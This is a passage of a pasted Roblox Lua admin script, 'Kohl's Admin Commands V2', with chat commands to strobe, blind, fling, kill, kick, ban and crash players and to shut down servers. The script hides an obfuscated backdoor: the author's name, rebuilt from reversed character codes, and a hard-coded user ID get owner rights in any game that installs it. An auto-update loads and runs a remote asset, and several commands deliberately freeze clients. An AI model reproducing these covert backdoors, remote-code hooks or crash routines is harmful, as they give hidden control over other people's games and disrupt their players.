  2231. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2232. end
  2233. end))
  2234. end
  2235. end
  2236.  
  2237. if msg:lower():sub(1,9) == "unstrobe " then
  2238. local plrz = GetPlr(plr, msg:lower():sub(10))
  2239. for i, v in pairs(plrz) do
  2240. coroutine.resume(coroutine.create(function()
  2241. if v and v:findFirstChild("PlayerGui") then
  2242. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2243. end
  2244. end))
  2245. end
  2246. end
  2247.  
  2248. if msg:lower():sub(1,6) == "blind " then
  2249. local plrz = GetPlr(plr, msg:lower():sub(7))
  2250. for i, v in pairs(plrz) do
  2251. coroutine.resume(coroutine.create(function()
  2252. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2253. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2254. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2255. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2256. end
  2257. end))
  2258. end
  2259. end
  2260.  
  2261. if msg:lower():sub(1,8) == "unblind " then
  2262. local plrz = GetPlr(plr, msg:lower():sub(9))
  2263. for i, v in pairs(plrz) do
  2264. coroutine.resume(coroutine.create(function()
  2265. if v and v:findFirstChild("PlayerGui") then
  2266. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2267. end
  2268. end))
  2269. end
  2270. end
  2271.  
  2272. if msg:lower():sub(1,7) == "guifix " then
  2273. local plrz = GetPlr(plr, msg:lower():sub(8))
  2274. for i, v in pairs(plrz) do
  2275. coroutine.resume(coroutine.create(function()
  2276. if v and v:findFirstChild("PlayerGui") then
  2277. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2278. end
  2279. end))
  2280. end
  2281. end
  2282.  
  2283. if msg:lower():sub(1,9) == "loopheal " then
  2284. local plrz = GetPlr(plr, msg:lower():sub(10))
  2285. for i, v in pairs(plrz) do
  2286. if v then
  2287. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2288. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2289. repeat wait()
  2290. coroutine.resume(coroutine.create(function()
  2291. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2292. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2293. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2294. end
  2295. end))
  2296. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2297. end
  2298. end
  2299. end
  2300.  
  2301. if msg:lower():sub(1,11) == "unloopheal " then
  2302. local plrz = GetPlr(plr, msg:lower():sub(12))
  2303. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2304. end
  2305.  
  2306. if msg:lower():sub(1,10) == "loopfling " then
  2307. local plrz = GetPlr(plr, msg:lower():sub(11))
  2308. for i, v in pairs(plrz) do
  2309. if v then
  2310. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2311. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2312. repeat
  2313. coroutine.resume(coroutine.create(function()
  2314. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2315. local xran local zran
  2316. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2317. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2318. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2319. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2320. end
  2321. end))
  2322. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2323. end
  2324. end
  2325. end
  2326.  
  2327. if msg:lower():sub(1,12) == "unloopfling " then
  2328. local plrz = GetPlr(plr, msg:lower():sub(13))
  2329. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2330. end
  2331.  
  2332. end
  2333.  
  2334. -------------------------
  2335. -- True Owner Commands --
  2336. -------------------------
  2337.  
  2338. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2339.  
  2340. if msg:lower():sub(1,3) == "oa " then
  2341. local plrz = GetPlr(plr, msg:lower():sub(4))
  2342. for i, v in pairs(plrz) do
  2343. coroutine.resume(coroutine.create(function()
  2344. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2345. end))
  2346. end
  2347. end
  2348.  
  2349. if msg:lower():sub(1,5) == "unoa " then
  2350. for i = 1, #owners do
  2351. coroutine.resume(coroutine.create(function()
  2352. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2353. end))
  2354. end
  2355. end
  2356.  
  2357. if msg:lower() == "settings" then
  2358. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2359. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2360. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  2361. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2362. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2363. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2364. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2365. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2366. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2367. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2368. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2369. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2370. end
  2371.  
  2372. end
  2373.  
  2374. --------------------
  2375. -- Owner Commands --
  2376. --------------------
  2377.  
  2378. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2379.  
  2380. if msg:lower():sub(1,3) == "pa " then
  2381. local plrz = GetPlr(plr, msg:lower():sub(4))
  2382. for i, v in pairs(plrz) do
  2383. coroutine.resume(coroutine.create(function()
  2384. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2385. end))
  2386. end
  2387. end
  2388.  
  2389. if msg:lower():sub(1,5) == "unpa " then
  2390. for i = 1, #admins do
  2391. coroutine.resume(coroutine.create(function()
  2392. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2393. end))
  2394. end
  2395. end
  2396.  
  2397. if msg:lower():sub(1,5) == "nuke " then
  2398. local plrz = GetPlr(plr, msg:lower():sub(6))
  2399. for i, v in pairs(plrz) do
  2400. coroutine.resume(coroutine.create(function()
  2401. if v and v.Character and v.Character:findFirstChild("Torso") then
  2402. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2403. p.Anchored = true
  2404. p.CanCollide = false
  2405. p.formFactor = "Symmetric"
  2406. p.Shape = "Ball"
  2407. p.Size = Vector3.new(1,1,1)
  2408. p.BrickColor = BrickColor.new("New Yeller")
  2409. p.Transparency = .5
  2410. p.Reflectance = .2
  2411. p.TopSurface = 0
  2412. p.BottomSurface = 0
  2413. p.Touched:connect(function(hit)
  2414. if hit and hit.Parent then
  2415. local ex = Instance.new("Explosion", game.Workspace)
  2416. ex.Position = hit.Position
  2417. ex.BlastRadius = 11
  2418. ex.BlastPressure = math.huge
  2419. end
  2420. end)
  2421. local cf = v.Character.Torso.CFrame
  2422. p.CFrame = cf
  2423. for i = 1, 333 do
  2424. p.Size = p.Size + Vector3.new(3,3,3)
  2425. p.CFrame = cf
  2426. wait(1/44)
  2427. end
  2428. p:Destroy()
  2429. end
  2430. end))
  2431. end
  2432. end
  2433.  
  2434. end
  2435.  
  2436. --------------------------
  2437. -- Super Admin Commands --
  2438. --------------------------
  2439.  
  2440. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2441.  
  2442. if msg:lower() == "logs" then
  2443. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2444. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2445. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2446. end
  2447.  
  2448. if msg:lower():sub(1,9) == "loopkill " then
  2449. local chk1 = msg:lower():sub(10):find(" ")
  2450. local plrz = GetPlr(plr, msg:lower():sub(10))
  2451. local num = 9999
  2452. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2453. for i, v in pairs(plrz) do
  2454. if v and not ChkAdmin(v.Name, false) then
  2455. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2456. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2457. for i = 1, ]] .. tostring(num) .. [[ do
  2458. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2459. coroutine.resume(coroutine.create(function()
  2460. if plr and plr.Character then plr.Character:BreakJoints() end
  2461. end))
  2462. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2463. end
  2464. end
  2465. end
  2466.  
  2467. if msg:lower():sub(1,11) == "unloopkill " then
  2468. local plrz = GetPlr(plr, msg:lower():sub(12))
  2469. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2470. end
  2471.  
  2472. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2473. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2474.  
  2475. if msg:lower():sub(1,3) == "sm " then
  2476. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2477. end
  2478.  
  2479. if msg:lower():sub(1,3) == "ko " then
  2480. local chk1 = msg:lower():sub(4):find(" ") + 3
  2481. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2482. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2483. for n = 1, num do
  2484. for i, v in pairs(plrz) do
  2485. coroutine.resume(coroutine.create(function()
  2486. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2487. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2488. v.Character:BreakJoints()
  2489. wait(1/44)
  2490. v:LoadCharacter()
  2491. wait(1/44)
  2492. end
  2493. end))
  2494. end
  2495. end
  2496. end
  2497.  
  2498. if msg:lower():sub(1,6) == "crash " then
  2499. local plrz = GetPlr(plr, msg:lower():sub(7))
  2500. for i, v in pairs(plrz) do
  2501. coroutine.resume(coroutine.create(function()
  2502. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2503. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2504. end
  2505. end))
  2506. end
  2507. end
  2508.  
  2509. if msg:lower():sub(1,5) == "kick " then
  2510. local plrz = GetPlr(plr, msg:lower():sub(6))
  2511. for i, v in pairs(plrz) do
  2512. coroutine.resume(coroutine.create(function()
  2513. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2514. end))
  2515. end
  2516. end
  2517.  
  2518. if msg:lower():sub(1,6) == "admin " then
  2519. local plrz = GetPlr(plr, msg:lower():sub(7))
  2520. for i, v in pairs(plrz) do
  2521. coroutine.resume(coroutine.create(function()
  2522. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2523. end))
  2524. end
  2525. end
  2526.  
  2527. if msg:lower():sub(1,8) == "unadmin " then
  2528. for i = 1, #tempadmins do
  2529. coroutine.resume(coroutine.create(function()
  2530. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2531. end))
  2532. end
  2533. end
  2534.  
  2535. if msg:lower():sub(1,4) == "ban " then
  2536. local plrz = GetPlr(plr, msg:lower():sub(5))
  2537. for i, v in pairs(plrz) do
  2538. coroutine.resume(coroutine.create(function()
  2539. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2540. end))
  2541. end
  2542. end
  2543.  
  2544. if msg:lower():sub(1,6) == "unban " then
  2545. for i = 1, #banland do
  2546. coroutine.resume(coroutine.create(function()
  2547. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2548. end))
  2549. end
  2550. end
  2551.  
  2552. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2553.  
  2554. end
  2555. end))
  2556. end
  2557.  
  2558. function AdminControl(plr)
  2559. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2560. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2561. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2562. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2563. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2564. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2565. end)) end
  2566. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2567. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2568. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2569. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2570. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2571. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2572. end
  2573.  
  2574. if not ntab then script:Destroy() end
  2575. if not bct then script:Destroy() end
  2576.  
  2577. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2578.  
  2579. script.Name = "Kohl's Admin Commands V2"
  2580.  
  2581. if not ntab then script:Destroy() end
  2582. if not bct then script:Destroy() end
  2583. if not tcb then script:Destroy() end
  2584. game.Players.PlayerAdded:connect(AdminControl)
  2585. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2586. end
  2587.  
  2588. local mod = game:service("InsertService"):LoadAsset(100808216)
  2589. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2590. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2591. newac.Disabled = true
  2592. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2593. local old = 0
  2594. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2595. if new > old then
  2596. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2597. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2598. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2599. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2600. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2601. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2602. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2603. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2604. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2605. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2606. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2607. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2608. wait()
  2609. newac.Parent = game.Workspace
  2610. newac.Disabled = false
  2611. script.Disabled = true
  2612. script:Destroy()
  2613. else
  2614. CHEESE()
  2615. end
  2616. else
  2617. CHEESE()
  2618. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement